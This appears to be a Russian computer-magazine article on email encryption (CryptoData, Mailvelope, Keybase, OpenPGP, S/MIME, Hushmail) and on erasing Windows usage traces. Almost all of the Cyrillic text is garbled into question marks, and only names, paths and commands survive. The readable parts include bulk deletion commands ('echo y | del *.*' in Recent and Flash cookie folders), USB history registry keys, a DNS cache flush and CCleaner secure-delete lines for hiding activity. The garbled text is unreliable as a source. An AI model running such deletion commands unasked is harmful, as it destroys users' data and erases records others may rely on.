????????????? ????????? ????? ?а?????? ???????
?????? ????????? ????? ??? ???????? ???а?а?????? ?????????? ????? ?а????? ?????? ??а?????.
????????? ????? ?а????? ??а????????? ??????
?????? ???????? ???????????, ????????? ????? ?????????, ??а???а? ?????? ?????. ???????? ????? ??а????????? ??????, ?? ????????, ??? ???????? ??а?а??????.
????????? ????????? ???? ??????-?????
????????? ??????????
?а???? ??????? ????? ?а??? ???????? ???????????? ??? ????????????? ??????
???? ????????????????? ??????. ?аCryptoData ???а?????????? ?а??????????? ??а????????? AES ???????????? ???? ?а??? ?? ????. ??????? ????? ????????????? ???????? ????????????.
CryptoData
?а???????? ??????? ?? ??????? CryptoData, ??? ???а??а???? ????????? ?????????? ??а?????? ????????? ?????? ?????? ?а???? ??? ?????????? ?????? ?а?????
????????????? ?????. ??????, ?а??????? CryptoData ????? ??а?????? ????????? ?????, ??а?а??????? ????????? ??????? ??? ??????? AES ?а???? ?????????
?а????????????? ????????????? ?????.
CryptoData ???????? ???а???????? Firefox ?а???????? ??????. ????? ?? ???????????? ???????? ??????? Thunderbird ?аSeaMonkey. ????? ????????? ??а????????? AES. ???????? ??а??? ??????? ???????, ?а?????? ???????? (CTR) ?а???
??????? ??????????? ????????? ??????????.
?а?????? CryptoData ????? ??????? ????????? ?????????? AES-CTR ?????
JavaScript. ??????? ?? ?????????? CryptoData (??? ?а????? ???????????? ???????)а? ????????? ???????????? ??????? ??????????.
???а????????????? CryptoData ?а??????????? ?????, ?????? ?????????????? ??????, ???? ???-?? ???????? ???? ???а??? ???????????. ??????? ??? ?????????? ??????? ????? ???????? ?????? ??????. ????????? ????????? ?????????? ?????, ?а?а??????а? ?????????? ?????? ???????. ??????? ????? ??????
????? ??а?????????. ???а????????????? ????? ?? ??????????? ??? ????????????? ????? ????????????? ?????????.
????? ???????? ?????а? ?????????? ?????? ???? ????????????? ???????.
????? ???????????? ?????? лS3CRYPT:BEGIN╗ ???????? ??????? ???????????
???????????? ???????? ?а????? ?????????? (AESCTR ??? RC4). ??? ???????? ?????????? ???????? ????????????? ????????? (?????? ?а??? ????? ???
????? ??????) ?а?? ?????.
??????? CryptoData ???????? CryptFire, Encrypted Communication ?а??????
?????? ??????????.
?а??????? ??аAES-CTR, ?аPGP ???????????? ???? ??????, ??а?????????????
????????? ??????. ??? ????????????? ???????, ?????????? ??а???????? ????? ?а????????: ?????????? ????? (??????????? ?????????) ????? ??? ??????,
?а??? ??????? ?? (???????????? ?????)а? ?????? ???????? ?????.
?а???????????? ???????? ????? ?????????? ??????? ???????????????
???а???????????? ????? ????? ?????, ??а???а??????? ????????????? ????????? ???? ???? ???? ???-?? ??????? ???????? ??????????? ??а????????? ??????.
???? ???? ?????? ???????? ???????????, ?? ??? ????? ????????????? ?????????
????? ????????. ??????? ???????????? ?????????? ???????????? ?а????????
???а????????? ?????? ???????? ??? ??????, ??а??а???а????????? ?????.
????????????? ??????? ???а??? ?????? ???????? ???????? ????? ?????
?????????? ?????, ????????? ???? ??????. ???????? ???? ?????? ???а?????????? ?????????, ???????????? ??????????? ????????, ?а???????? ????????????????? ??????? ?а???????? ??а???? ???????. ?????????а? ???а???????????
??????????? ?????? ?а???????????? ?????????????. ???а??????????? ?????????? ????????? ???????????? ?????????? ?????????? ?????? ?????????
???????, ?а?? ???????? (?????) ??а??а??? ??а????????. ??????? ????? ??????? ???????? ??? ??????????? ?а???????? ??????. ?а???????? ???????? ????????? PGP ??????????? ?????, ?а??? ???а????????????? ????? ????? ???-????????? ??????????? ?????????? ??????.
Mailvelope ?а???????
Mailvelopeа? ???? ??а????? ??????????? ?????????? ???а?????????? ?????
?аGoogle Chrome. ?а????? ??????? ?а??? ?????? ??? ???? ?????, ?а??? ?????
??? ???? ???????????? ??????????.
?????????? Mailvelope ???аGoogle Chrome
??????? ?????? Mailvelope ???????????? ??????????????? ?а??? ???????
???а?????? ?а???-?????? ?а??? ???????? ?????????????? ????????? ???а?????
?????????? ???????? ????????.
??????????? ??????? Mailvelope
???а???? ?а??? ??????? ?????????? ??? ?????. ????????, ?????? ?????? ????
???????? ?????а? ?? ?????? ?????????? ??????????????. ?????? ??????? ???????? (???????? ?????? RSA), ??? ????? ?????????? ???????? (?????????
?????? ????? ?????? ??????), ?а??? ??????? ???????? ??????? ???????????.
?а?????, ??????????? ?????? ??????? ????????????????? ???????.
????????????? ???? ?????? PGP ?аMailvelope
?аMailvelope ????? ????????????? ????? ???? ??????, ????????????? ???????? ???? ??????? ????????? ?а????????? ????? ??????? ?а????? ???????.
?????????????? ????????? ????? ?аMailvelope
?????????? ??????? ?аMailvelope
??????? ???????????????? PGP ?а???????? ??????? ?а?????? ??????????,
??а?а??? ????? ????? ???????????. ?а?????? Pandor ?????? ?????? ?????? ????????. ??а???????, ???????????? ?????????????? ??а????? pandor.me ?а?????????? ????? PGP. ??? ??? ???????? ??а??????? ?а????????????? ????????????
???а?????????? ?а????????????. ???а???? ???????????? ??????? ??а????.
??????? ????? ????. ?????? ??, ??? ???????? ????????? ???? ????????????,
?а????? ???????? ?а???? ?а???????. ????????? ???? ????????? ?????????? ???,
?а????????? ????????????? ???? ?????? ????? ?????? ????????.
???а???????? ?????? ????????? ??????? ?а?? ????????????? ????????? ?????????????????? ???????????. ??а????? ???????? ???????? ?????? ????? ????? ?????????? ???а??????? ????????????. ???а???? ??а???? ????????????????
??а???????????? ???????? ?а????????? ????????? ????????? ????.
Keybase.io
???????? ????? ????? ??а?????? ??????? ????????? ???? ????????????,
??а?а????????? ??а?????????????????? ??????. ??? ?? ????? ????? ????????
?а???????????, ???????? ???? ???????. ??а????? ??а????? ???????????? ???????? ??????а? Keybase.io ?? ??? ??????. ????? ???????? ?????? ???????
?а???????? ????? ??????? ???????? ?????? ?а??? ????????????? ????. ??????????? ??? ??? ??? ???? ????????? ?а?????? ????-????????????, ??а??? ??а???????????? ??? ?????????????.
????? ??????? ??а??? ???? ???????, ??????? ???????? ????????? ??????????????? ???.
?????? ???? ???????????
??????? ??а??? ???????? ?????????? ???????????? ???????, ??????? ???????? ????????. ?????? ???????? ??а????????? ??????, ??а?????????? ??????
????????? ?????????. ????????, ???????? encrypt ??????? ????????? ???????? ?????? ????????????, ????????????? ???????? ?????? ??????.
Keybase.io ???????????? ??а?????? ?????????? ????????? ????? ??????????? ?а????? ??? ??????????? ?????, ??а?аURL ??????? ?????, ?а????? ????????
???????????? ?аTwitter ?аGitHub, ???? ??? ????. ????? ??????, ???? ???? ??????????? ????????? ???? ???????? ????? ??аKeybase.io, ?? ?? ?????? ???????
???????? ?? ??? ?????? ?а??????????? ??????????? ???????.
??????????? ??????
PCZONE
????? ?а???
?а?????? PGP
??????
???????? ?????
??а???????????
???? ??????????
??? ???????
??????
??????
??а?????????? ?а??????????
???а?????? ?а????????????? ?????????? ??????????? ?????? ???????????? ?????????? ????????????????? ??????. ??????? ????? ?????? ?????
??а?????? ?????????? ??? ??????? ?????????? ?????-?? ?????????????????
??????? ?а?????? ??????????????? ????????? ??????????. ????????, ??????
Thunderbird ???????????? ????? ????? Enigmail ???? GnuPG ???а???????? ?????????? ????????????? PGP ??а????????? OpenPGP.
?а???? ???????, PGP ?а????? ?????? ????????????? ?????????? ??а?????????? ?????????? ??????????, ??????? ???????????? ??а?????? ?????? ??????.
????? ???????????????? ????? ?????????? ?????????????? ??????????
???????? RSA. ?? ?? ???????????? ?а???????????? ????????????? PGP ??????? ???????????. ?а??? RSA ??????????? ???а?????????? 128-??????? ????
MD5 ?а128-??????? ????? IDEA.
?а????????? ?????? PGP (????????, ?а???? ?? GnuPG) ???? ???? ??????????????? ???????. ??а???? ????????????? ????????????? ??????????? ??????
????????? OpenPGP, ?? ??? ???????? ???????????? ???? ?а??????. ??????????? ????? ????? ?????????? ????????? ?а??????? ?????? ?????? ????????????????? ????????, ?а??? ????? ?а??????????????? ???а?????? ????????.
??????? ???????????? ?аThunderbird ???аLinux ??????, ????????????? PGP,
????? ???? ????????? ?аThe Bat ???аWindows ?а???? ????? ??????? ?а?????????? OpenPGP ??а?????? ??????????.
OPENPGP
OpenPGP ??? ????????? ?а1997 ????, ??а???????? ????????? ???? ???????
??-?? ?????? ?????? ????????? PGP. ????? ??а???? ??????????????? ?????????? ??а??????????? ?аPGP Inc. ?аNetwork Associates (McAfee), PGP Corporation
?аSymantec. ?????? ??а????? ???????????????? ????? ???????? ??????????
?????????. ??а?????????, ??? ?аMcAfee ?аSymantec ????????? ??? ????????????????? ????????? ??а?????????? ???????. ????????, ?????? ???????? ?????????? ??????????????? ?????, ??????????? ????? ????? ??? ???? ???????
??????????? ????????.
??????? ?а1999 ???? ????????? ???????? ?????????? GnuPG. ?????????, ???
??а??? ????? ???? FSF, ??а??а???? GnuPG ?????????? ????? ???? ???????а? ???????? ??????????? ?????? ???, ??????? ?????-?? ??????????? ????? ????????? ?а????? ??????? л??????????, ???????? PGP╗. ????? ?? ????????????
??????????? ????????? ????????? GnuPG, ??а?а???????? ?????? ???????
????? ??????? ?????????? ??.
?????? ???? 53 ????, ?? ??????????? ?а????? ??? ????????? ??а?????? ?????? ??а???? ???????, ???а????? ??????? ????? 300 ????? ???????? ?а??????? ?????? ???????????????? ????????. ??? ??????????? ?????? ??аLinux
Foundation ?а??а??????? ?????????????, ?????? ?????? Facebook ?аStripeа?
?????? ??????, ??? ?????? GPGTools, Enigmail, Gpg4win ?а?????? ?????? ?????????? ???????? ?а???? ???а??????? ??????? ??а??? ??????? ?????????? ???????? GnuPG.
?а????? ?????? ??????????? ???????? OpenPGP ??а??? ??? ????? ????????? ????????. ?? ????? ???? ???????? л?? ??????, ?а??????╗, ??? ?????????.
????????, ?а??? ???? ?????? ???? ?????? ??????????? ??????????? ?????????????? ?????????а? ????????????????? ???????. ?????? ????????? ??
????? ??? ?????? ???????? ?????? ??????????? (??? ?????? ? ?????? ????????
л?????╗, ???????? ??а???????????? ????????? ????????? ?????). ?????????????, ???????, ?????? ??????????????, ???????????? ?а??а?????? ?????? ?????????????? ?????????.
??? ??? ?????? ??а????????? ?????????, ??? ?? ???????? ??????? ?????????
?????? ?????????? ?????? ?а?????? ????? ?????? ??????????????? ??????.
?????? ???????????, IP ?????? ?а??а????? ????????. ???? ??а????????? ?????????? ?????????????? ??????, ?? ??????? ?а???? ???????? ????? ??????
????????? ?а?????????, ??а??????? ????? ??????. ????????? ??а???????? ?????? ??? ????? ????????? ????? ??? ??а?????????а? ????????? ???? ?????????
????? ????????? ??????. ???а???? ?? ??????? ?????? ??а?????? ?????? ?????????, ?????? ??? ?????????? ??? ???????????. ?????????? ????????? ????:
????????????????? ??????? ?????? ??????????? ???????? ????????? ?????
????? ???????? ??????, ?а???а???????? ???а????? ???????????? ??а????? ???????? ??????????? ????????? ???? ?а?????.
??? ???? ?????????? PGP ??????????? ?а???, ??? ????????????? ????????? ????? ????? ?????????? ???, ??????? ??? ???? ?????? ?????? ????????
??? ?????? ???????????? ???????????? ??????????? ???а?????????. ??? ????? ?????????? ?а??????? ???????, ?а???????? OpenPGP ??а????????? ??????
??а???????????, ??а??????????. ???а???? ????? ?????? ?аPGP ???????? ???????????? Tor ??? ????????????? ???а?????????????? ???? ??????, ??а?а?????????? ????????????? ?а??????? ???????? ?????? ?????? ??????? ?????? ??????? ????? ????? ?????????? ???????. ?а???? ?? ??????? ?????????? ???????
???????, ?а??????, ??? ????? ??а????? ?????????? ?а????????? ???????? ?а???????????? ???????.
???????? ?аPGP ??????????? ???????? ??????? ???????? ???????????,
?а????? ?????? ????? ?????????? ????? ???????? (??? ???????, ??? ??? ??????) ?а???????? ?????. ??????? ?а?????? ????????????? ?????????? ????? ??
????? ???????????? ??????? ???? ????????????? ????? ?????????. ?????????? ??? ?а??? ????? ??????, ??? PGP ??а???????? ??а???????????? ??????
?а??а???????????? ?????? ???????? ??????? ??а??????????? ????????? (????
?а??? ????????????). ???? ????????????? ?????????, ??????????????
????? ?а???????? ????, ??????? ????? ????????? ?????? ??? ?????????.
S/MIME
???? ?аOpenPGP ??????? ?????????????? ???????????, ?? ???? ?? ??? ????????????? ?а?? ?а???. ??????????? ??????????? ?????? ????????? ??????????
?????, ?а??? ????? ?а?а?????????????? ????????? ?????. ??? ?????? ???? ???
??? ????????? ???? ?????????? ????? ????????? ??????. ????? ?????? ????а?
S/MIME (Secure/Multipurpose Internet Mail Extensions). ??????? ??а?????? ??????, ??????????? ??? ?а1998 ????, S/MIME ???? ???????????? ??????????.
????????? ???????????? ?????? ?а???? ????? ?????, ????? ?????? ?????? S/
MIME ????? ???????????? ????? ???????? ?????????, ???аMicrosoft Outlook
(Express) ?аExchange.
S/MIME ???????? ?????? ??????????????? ????????? ?????? ?а???????????? ?????, ????????? ??????????? ???а????????? ????? ?????? ???????? ??????????, ??????? ?????? ????? ???? ??? ????????? ???????? ????????. ?а??????? ???? Microsoft ??????????? ????????? ???????????? ?а???????? ??????
????? ??????????? ?????? ??????????? ???????? ???????????? ?а???????
???????. ??????????? ???????? ??????????? ???????? ?а???????? ??? ???????? ????. ??????????? ?????? ??????????? ????????????? (?????? ??а??????)
??? ?????????а? ?? ???? ??????????? ????????????, ??????? ?????????? ???????? ??? ????????? ?????????. ????????, ??? ????? ???? Thawte, VeriSign,
Comodo ??? ?????? ??????? ????????. ?????????? ??????????, ?????????????? ?????? ????? ??????????? ?????, ????? ???????? ?????????.
???????????? ???????? ?????????? ?????? ????? ??? ????????: ?? ????????? ????? ????? ???????? ???? ??????? ???????????? ?а????????? ?а??? ???????????. ?????? ??а???????? ?а????????? ?????????? ???????????? ?а????????? S/MIME ??а??? ??? ???? ????????? ??????????, ???????? ??????????
?????????????? ??????? ???? ?????? ???, ??? ????????? ???аOpenPGP. ???,
?а2011 ???? ???? ??????????? ????? ??а???????????????? ?????? DigiNotar
?аComodo, ?а?????????? ???? ???? ???????? ????? ?????????? ????????????
??а????? ????? ?????????? ??????? ?????: addons.mozilla.com, login.skype.com,
login.yahoo.com, mail.google.com ?а??????. ?а?????????? ??? ??????????????
?а?????? ????????? ????, ??????? MITM, ???????? ?????????? ????? ?а??????????????? ?????????, ??????????? ????????????? ????????? ????.
???-????? ?а????????? ???????
??? ?????? ????? ???????????? ??а?????????? ????????
????????, ??????????? ???????? ?а?????? ????? ???-????????? ??? ????????? ??????????. ??? ?????????
?????? ??????? ????. ?а????? ???????, ???а???-??????????? ?????????? ?????????? ??? ????????????WARNING
?? ??????????? HTTPS. ?а??????а? ???????????? ?????
??а???????????? ???????? ???? ??а??????? ?а???????
???а?????????????
???????? ????? ?а????. ???????? ??????? ??а?????????
???-????? ????????? ????????????? ?????????????????, ??????? ?????? ??????????? ??а?????? ??????? ??а???????. ???????
?????? ??а????????? ????????.
????? ?????? ??а?????
?????? ?????? Hushmailа? ?????? ???-?????? ???????????? ??????? ???????, ?а????? ?????????
??????? ????? ?а??????????? ??а????????? OpenPGP
???. ?????? ????????
??а??????? ???????. ??????, ???-?? ?????????? ?? ??а???
?а???? ???????? ???
???, ?????? ????????. ???? ??? ??????, ???а??????????????????????? ?????
??, ?а??? ???????? ??а??????????? ?????????? ???????
??а?????? ??????.
?а?????????? ??а??????? ?????? ????? ?????? ??????
?а?????????? SSL. ????? ??????? ??? ???????? ???????,
??? ???????????? ?????? ?? ???????? ??????????. ?????? ?а2007 ???? Hushmail
???? ????????? ????????, ??? ????? ????? ??????????? ??????????? ?а????????????? ?? ??а?????????? ???????, ?а????? ????????????? IP-?????? ?????
???????? ?а???????? ?а??? л?????? ??????????╗а? ????? ???????????? ??????
?? ????????.
???????, ???? ?? ?аHushmail. ??????????? ????? ???????
?????????? Gmail, ??????? ??????? ???????????. л????? ???????,а? ???????????? ?????? ????, ????????? ????????????
??а???????????? ?????? ????????.а? ????? ?????????? ???
????, ???аGoogle ??????? ???????? ???????? ?????????? ?????. ?? ?а??? ????╗
WWW
?????????, ???, ?????? Google, ?а?????? ????? ???
??????? ??????? Yahoo, Microsoft ?а??????. ???? ?????????
????????
?????????? ????, ?????? ???????? ?а????????? ????????
??????????
??????????
??а?????? ?????????? ???????? ??а??? ??? ??а?????? ??????а??????????
????? ???????? ??????????. ??? ????????????? ??????????
?а????????????
????????????????? ???????? ?а?????????? ????? ?а??????email
?? ????????? ????? ???????????? ???? ?????? ?а?????????????????
?????? ????. ??????????? ??? ???а???????? ??? ???????????????? ?а??????
?? ??????????? ??????????.
???????????
CryptoData
???????? ?а???, ??? ?????????? ?а??????????? ?????
?????????? ????????? ??а?????????? ?????? ??????????.
??????????
?????? ??а??? ????? ???? ??????????, ???????? ??а??? ??CipherMail
??? ????????????????? ?????? ?????? ??????????. ????????а??????
?а?????????????
?????? ?????????? ???????? ??????????????? ????????.
?аAndroid
??????? ??? ????? ????????? ??????, ???? ?? ????? ?????
?????? ??????? ???????? ???????, ???????? ??а???????????
?????? ??? ?????????? ??????
?????? ??? ???????? ??????????? Hacking Team: ????????? ??????? ????????? ?????? ?а?????? ??а??????????? ?а????????? ???? ????????, ?а?????
?????? ????????, ????? ???-?? ??а??????????? ??? ??????? ????????? TrueCrypt
??а???? ????????? ?????????? ?а?????????????. ???а?????????? ????? ????
??????, ???? ??а??????а? ??? ????? ???????? ???? ??????? ??????.
PCZONE
????? ????????????
dhsilabs@gmail.com
???а?????????
WINDOWS
?????? ???
????????
?????
?????? ???????? ?????? ?а???????????? ??аUSB
?????????, ??????? ????????, ??? DNS ?а??? ??? ???????? ??????, ??? ????? ????????????. ?? ????????? ????????? ??????????, ???а?????? ????? ????? ????????????
?а?????? ??????? Windows, Office ?а?????????? ?????????. ?а????? ?????? ?? ??????? ????????? ????????, ??????? ??????? ???? ????????????? ???????????? ???????
??а????? ??????.
1
??????? ??????? ???????? ???? ?а????????
?????? ?????? ??а??????? ???????? ???? ?а????????. ?????? ????????
(?аWindows 10а? ????? ????????????) ???????? ????????? ?а??????? ????,
?а?????? ???????? ????а? ?а??????????.
?????? ????? ???????????? ???????? ?аWindows 7 ?а10
?????? ????? ???????????? ????? ?а????????? ??????
???а????????? ??? ??????????? ?аWindows 7а? ???????? ?????? ??????? ????
??а?????? л????╗, ??????? л????????╗ ?а?а??????????? ???? ????? ??? ???????
?а??????? л??????????????????╗.
????????? ????????
?????? ?????????
???????? ?аWindows 7
????? ???????? ?????? ????????? ???? ?а??????????, ????? ??????? ?????????? ???????? %appdata%\Microsoft\Windows\Recent. ???а????? ?????? ????????? ?????? ?а??????? ??? ???????:
cd %appdata%\Microsoft\Windows\Recent
echo y | del *.*
????? ??а???????? ??????? ?????????? ???????? %appdata%\microsoft\
windows\recent\automaticdestinations\. ?а??? ???????? ????????? ?????, ??????? ???????????? ?а?????? ????????:
cd %appdata%\microsoft\windows\recent\automaticdestinations\
echo y | del *.*
????? ??? ??????? ?????????? ???, ????? ????? ?????? ??????????? ??????
???а??????? ??????? ??а?????? ?????? ?????????? ?а???.
????? ????????? ????? ????????? ????????????? ???а??????, ????? ???????? ???????? л??????? ?????? ??????? ????????????? ?????????? ???а??????╗, ??????? ????????? ?а??????? л???????????? ????????????\???????????????? ???????\???? л????╗ ?а?????? ?????╗.
?????? ????????? ?аWindows 10. ????????? ?????? ??????? ???????????
?а????? ???????????? ?????????? ????? ????? ???? л?????????╗. ?????? ???
?а??????? ?а?????? л??????????????╗, ????? л????╗. ??????? ???, ??? ??? ????.
?????????? ???????? ?????? ???????? ?аWindows 10
???????, ??? ???????? ??????, ??а???, ???, ??а?????? ???. ???? ???????? ???
????????? ?????, ?? ??? ?????? ?а????? ?? ??????? ???????? ?????. ???????
???????? ????????? ??? ???? ????? ????????? ????????. ?????? gpedit.msc
?а??????? ?а?????? л???????????? ????????????\???????????????? ???????\???? л????╗ ?а?????? ?????╗. ?????? ????????? ????????:
? л ??????? ?????? ??????? ???????????????? ???????? ???а????? ?????????????╗;
? л???????? ?????? ??????? ????????????? ?????????? ???а??????╗;
? л???????? ?????? ??????????? ??а?????? ???а??????╗;
? л??????? ?????? ????????, ???????????? ?а???? ??????╗.
????????? ????????
???????? ???????? ????? ?аWindows
10 ?????, ??? ?ал???????╗. ??????
?????????, ??????? ??а??????? л???╗
?а????? ?????? л?????????╗. ?а??????????? ???? ??????? ?????????
л?????????? ??????? ???????????????? ????? ??а?????? ???????? ???????╗ ?ал?????????? ????? ????????????
????? ??а?????? ???????? ???????╗.
??а?????? ?????? ?????? л????????╗.
???а??????, ?а????? ??????? ??????, ???а??????? ????????? ????????,
???????? ????????? ???????. ???а?????????????? ????????? ??????? ?а??????.
2
??????? ??????
USB-???????????
??а????????? ???????? ???????? ?а?????????? ????????? ?????????? ??????
??????, ?????????????????? ?а?????????????? ????? Windows 10
??. ??????, ???а???????, ?????? ?????
??? ??а??а???? ???????а? ????????.
?? ???? ??? ????????? ????? ??а???????????? ??????????? ???????????????????? ???????????. ??а????????????,
???? ?????????????! ?а???? ???а???????? ?????????, ??? ???????????? ????????? ???????????????????? ??????????, ?а???? ????? ????????.
?? ??а?а???? ?????? ??а???????? ???? ???????? ??????? ??????? ???????,
??а?????? ??????? ?????? ??????? ?????????????? ??????????? ????? ??????????? ?а?а?????? ????????? ?????????. ????? ??????? ???, ??????? ?а????????? ??????? ???????:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\
??? ???а? ??? ??????????, ??????? ?? ????????? ?а?????? ?????.
?????? ??????? ?а???????? ??????????? ???????????
???????? ??, ????? ?????? ????? ?а??? ?????????. ??а??а???-?? ????! ??-??????, ?????????? ??а??? ????? ??????? ??????????? ????? ???????, ??? ?? ?????? ??а??????? ???? ?ал???????╗, ??а?????? ??? ?ал???????╗.
??-??????, ?????????
????? ?а?????????? ??????? ?????, ???????? ????
??????????? ?????. ?-???????, ????? ?????? ??а???????. ???????? ???? ???
??????, ????? ? ????????...
??? ???????? ????????
???а??? ?а??????? ??????.
?-?????????, ????? ???? ???? ????????, ????? ????????? ??? ??????? ??????
????????. ?????? ?? ????? ??а?????? ???????, ?а???????? ?????????????.
???? ???? ??а?????-?? ???????? ??????????? ??????? ??? ???????,
?? ??? ??а???????? ?????? MountPoints, MountedDevices DeviceClasses
?аRemovableMedia. ??а???? ????? ???????????? ??????? ?????????, ???????
??????? ??? ??а????. ??а????????? ??????? ???а????? ??????????? USBDeview.
?????? ? ?? ????????????? ?а???????, ??? ??? ???????? ?????????? ??????
??а??а???? ?????? ????????. USBSTOR ?аUSB ?????????? ????????? ?????????? ?а?????????????? ?????????.
???? ??????????????? ????????? USB Oblivion. ??????? ??, ??????? ??????? л?????????? ???????? ???????╗. ???????? л????????? .reg-???? ??????╗
?????? ???????? ??? ???, ??а???? ???? ??а????????? ?????????, ?а????????????? ?а???????? ????????? ??????????, ?? ????? ?????????.
USB Oblivion
????????? ??а?????? ?????? ??????, ??а?а??????? ????????? ??? ????? ???????? (??. ????). ????? ??? ???????? ??????, ??а????????? ??????? ??????????
?а??????????? ??????????? ?а??????????.
3
??????? ???? ?а??????? ?????????
?????? ????? ?а????? ????а? ??????? ???? ?а??????? ?????????. ??? ?????????? ???????а? ?????? ??????? ????????? ???????? ?????? ??????? ?????????? ??????.
Edge. ???????? ?????? ??????????? ?????? ?а??? ??????? ????? ?а???????
л?????????????╗. ?????? ?????? ??????????????? ??????. ???а??????? ??????? ????? ??????? ??? ???????? ?а?????? ?????? л????????╗.
л????????????╗
??????????? ?????? ?аEdge
Firefox. ?????? ?????????, ??????? ?а?????? л???????????╗, ????? ?????? л??????? ???? ???????? ???????╗, ?????? л???╗, ????? ?????? л??????? ??????╗.
?????? Firefox
Chrome. ????? Ctrl + Shift + Del, ??а??????????? ???????? ?????? ???????
??а??? ?????, ?????? ??? ???????? ?а????? ?????? л???????? ???????╗.
Opera. ?????? л????
(Opera)
?????????
??????? ??????
??????╗. ??????? ???
??а? ???????? ???,
???????? ?????? л???????╗.
IE. ?? ??? ??? ??????????? ???? ???, ???????????? ?? ???????
??а????? Microsoft.
?а?????????? ??
??а?????? ???????
?????, ??а?а?????? ?????????? ????. ????? ??а??????? ??????,
?????? ??????????
???????????? ????????? ?а?????? ???????????? Chrome
????. ???????, ?????
???а??????? ???????
??? ??а?????, ??а??а????? ?????????? ??? ????? ?????. ??????????? ???????а? ???????????? Tor. ?а???? ?????? ???? ????? ??а??????, ????? ????? ??
????????? (??? ???????, ??? ??а????? ?????? ??? ?????? ??????????).
???? ?? ??????????? ??а???? ???????, ?а????????? ?а??????? ????? ????????????, ?? ????? ???????????? ???? ??а?????????????????? ??????. ? ????????????? Free History Eraser, ?а????????? ???????? ???????:а???-?? ????????,
???-?? ??? (?????? Edge, ?а???????, ??????? ??????????). ??? ??? ?а?????? ??????? ??а??????? ????????? ???????.
Free History Eraser
??????????? ??????
PCZONE
????????
?????
?????? ??????
???а?????????
WINDOWS
?????? ???
4
????? ????????????
dhsilabs@gmail.com
??????? ?????? DNS
??????, ????? ????? ?? ???????, ????? ??а?????? ??а??????? ????????, ??а???
?а??а???? DNS. ????? ?? ??????? ????? ????? ?а????????, ???? ????????? ?????????? ?аDNS, ????? ?????????? ??? ????? ?аIP-?????. ??? ?????????? ????? ???? ???????? ?а???? ????????. ??????????? ??? ????? ???????? ipconfig
/displaydns. ????? ?????????? ??а????, ?? ??????? ???????. ???а???????
????? ???? ???????????? ?????? ???????а? ipconfig /flushdns.
5
??????? FLASH COOKIES
??а????? ?????? ??? ???? ??а????. ???? Flashа? ?а??? ??????????? ???? ?????????. Flash Cookies ?????????? ?а???????? %appdata%\Macromedia\Flash
Player\#SharedObjects. ??? ?а??? ???????, ?? ??? ????????? ?а??????? ?а?????-?? ??????. ???а???????????? ????? ???????? ?????????? ??? ??? ???????:
6
cd %appdata%\Macromedia\Flash Player\#SharedObjects
echo y | del *.*
???????? ?????? ?????????
?????????? MICROSOFT OFFICE
???а???????? ????????????? ?????? ????????? ?????????? ?????? ??? ????????? ???????? ??????. ????? ??????? ??? ??????????, ?а????? ??????? Office
????? ?а?????????? ??????? ?а?????? л?????????????╗, ?????????? ????? ????????? ?????????? ?????? ??????? (?????? ????????а? ??а????????? ????
??? ?????????, ??????? ????? ???????? ??а???????). ???????? 0 ?????????
?????????? ??а????????, ??????? ????????? ????? ????? ??????? ?????-??????
?????????? ????.
????????? Word 2016
7
?а????? ?????? ??????? ??а??????? л?????╗ ???? ?????????? ????? ????
???? ?????????? ???????? 1, ???? ?????? ????????? ???????? л??????? ?????? ??аN ??????╗.
??????????????
???????
?а??????? ?????????
?????? ????????, ??? ??? ????? ?????? ?????? CCleaner Desktop, ?а??аCCleaner
Cloud. ????????? ????? ?????, ?а?? ????? ??????? ??????????? ????, ??? ???
?????. ????????? ??а?????? ?а???????? ?????? Free.
??? ??? ???????? CCleaner, ??? ??? ???, ??? ??:
? ???????????? ????????? ?????? Windows, ????????? ?????? ?????????,
?а??? ????? Edge (? ??????? ??аFree History Eraser);
? ????? ???????? ??а?????? ???????, ??а?а??????????;
? ????? ???????? ?а?????? ???????? ????????? ?а???? ???? ? ??????, ???а???
???????????.
??????? ??????? ???а?????? CCleaner
??????? ?????????? ?аCCleaner
???????????? ?????????? ????? ????????а? ?????? ?? ????????, ???????
?????? ????????, ?а????? ?????? л???????╗.
???? ?а??? ???? ????????? ???а??????? ???? ???????а? Windows Cleaner.
??????, ??а?? ????? ???????, ??? ??? ???????????? ?????? ??????? ??аWindows
8 ????????????. ?????????????, ?аWindows 10 ????????? ??а???????? ???,
???а????? (?? ?????? ??????, ?а???????? ??????? Edge ??? ??а??????????).
??а??а????? ?????? л?????╗ ??? ?????? ????? ????? ??а?????????????.
8
Windows Cleaner
8. ???????? ???????? ??????
??? ?? ?????, ??? ???а???????? ???? ??а????? ???? ??а?????????. ?????????
?????? ?????? ?а???, ?а???? ?????? ??? ??? ?????????? ???????????? ????? ??а?????. ??????? ???а??????? ???????? ?????????? ????? ????????????
??????????? ???????, ??????? ???????? ????????? ???????????? ????? ?????? ??? ?????????? ???????. ????? ????? ???????????? ????? ??а?????????.
?а?????????? ????? ?? ??? ????? ???? ???????, ??????? ????? ????? ????????
????????? ????????????, ????? ?????? ???? ???????????? ?????? ??????.
?????????? ????? ?????? ???а????????? ??????????. ??а?? ????? ???????????? ??, ??? ??? ?а??? ????, ?а?????? CCleaner. ????? ?ал?????? ????????
??????╗, ?????? ????, ??????? ?????? ???????? ??а????????? ??????, ?????
??????? л?????? ????????? ?????╗ ?а????? ?????? ????????. ?????????? ???????????? ????????? ?????????? ????????а? ??а?????? ????????, ???????????????? ???? ??????????, ??а?????? ??????? (35 ????????).
???????? ?????????? ?????
9
??а??????????? CCleaner ?????????, ?а???????, ????????? BCWipe ?а??? ????? ??а?????? ??????? ????????? ????????????, ??а?а??????? ???? ????????, ??????? ????? ????? ????????? ???????????????? ??????????. BCWipe ?????
?????, ??а???а???????????? ???????? ???????? ?аtrial-??????.
??????? BAT-???? ???а??????? ?????
?????? ?????????? ???????????????? ????????? ????????? ????? ????????.
?????? ?а???????? ?????? ??а???????? Recent. ??????? ???????? del, ???а????
???????? ????, ?????, ??а????? ????? ???????????? CCleaner ???а??????????? ????????.
\????\CCleaner.exe /delete "%appdata%\Microsoft\Windows\Recent\*" 1
\????\CCleaner.exe /delete %appdata%\microsoft\windows\recent\
automaticdestinations\*" 1
\????\CCleaner.exe /delete "%appdata%\Macromedia\Flash Player\
#SharedObjects" 1
?а?????????, CCleaner ?????? ??????? ???, ????? ?? ???????? ?а?????? ????????? ?????? ??? ????????? ????????????, ??????? ???????? ??????? ????? ????? ????, ?а??а???????? del ??? ?? ???????????? ??????? del, ?а?????
??????? ????????? ??? ?а??????? ??????? ?????????? ????????????. ?????????
